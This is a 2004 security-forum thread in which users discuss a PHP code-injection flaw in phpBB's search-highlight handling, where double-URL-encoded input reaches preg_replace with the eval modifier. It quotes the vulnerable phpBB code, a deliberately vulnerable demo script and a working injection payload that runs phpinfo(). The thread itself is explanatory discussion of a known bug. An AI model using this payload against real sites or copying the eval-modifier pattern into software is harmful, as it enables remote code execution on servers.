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IT Security and Insecurity Portal |
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String PHP execution |
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 Posted: Sat Dec 04, 2004 11:48 pm |
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| mosymuis |
| Beginner |
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| Joined: Nov 18, 2004 |
| Posts: 3 |
| Location: Netherlands |
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Hey Waraxe,
Could you tell me more about this type of PHP insertion? I'm sure you've seen Howdark.com's latest hack, wich executes PHP just by altering a string, like it was a XSS hack. I have figured out that this occurs when a double urldecoded() string passes a nested preg_quote() function, wich uses the "e" evaluate modifyer.
Code in phpBB:
| Code: | $highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
for($i = 0; $i < sizeof($words); $i++)
{
if (trim($words[$i]) != '')
{
$highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
}
} |
| Code: | | $message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1)); |
Demo:
| Code: | | <? echo preg_replace('##se', "preg_replace('#" . urldecode($_GET['var']) . "#', '', '')", 'foo'); ?> |
 call script.php?var=%2527%252ephpinfo()%252e%2527 (decoded: '.phpinfo().')
I have two questions about this. First, are there more possibilities in PHP to accomplish this? Must this be done with two preg_replace functions, or does this technique work in other situations too? Or is this a unique example?
Second, how did Howdark figure this out??  The change of finding this type of hack in a open source system like phpBB must be minimal. How did he know this was even possible, and how did he find this?
Do you have any ideas? I can't ask him myself, because he quit the whole hacking scene and shut down his website. |
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| Posted: Sun Dec 05, 2004 12:16 am |
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| Leps |
| Beginner |
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| Joined: Dec 03, 2004 |
| Posts: 3 |
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Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it.
This is probabbly not the only situation this works in, as I doubt phpBB is the only software to ever process variables like this.
It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
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| Posted: Sun Dec 05, 2004 12:22 am |
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| mosymuis |
| Beginner |
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| Joined: Nov 18, 2004 |
| Posts: 3 |
| Location: Netherlands |
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Waraxe is a she?  Awesome.
| Leps wrote: | | Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it. |
Ofcourse urldecode() is necessary to make it work, but I couldn't find a way to make this work without the nested preg_replace functions, with the e modifyer. Thefore I think this is the only way?
| Leps wrote: | | It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
%2527 is just a double HEX'ed single quote. What do you mean with this? |
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| Posted: Sun Dec 05, 2004 3:14 pm |
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| Leps |
| Beginner |
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| Joined: Dec 03, 2004 |
| Posts: 3 |
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| she = jessica = howdark.com ^^;; |
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| Posted: Sun Dec 05, 2004 3:25 pm |
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| mosymuis |
| Beginner |
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| Joined: Nov 18, 2004 |
| Posts: 3 |
| Location: Netherlands |
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| Leps wrote: | | she = jessica = howdark.com ^^;; |
I thought you ment Waraxe because of this:
| Quote: | | It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
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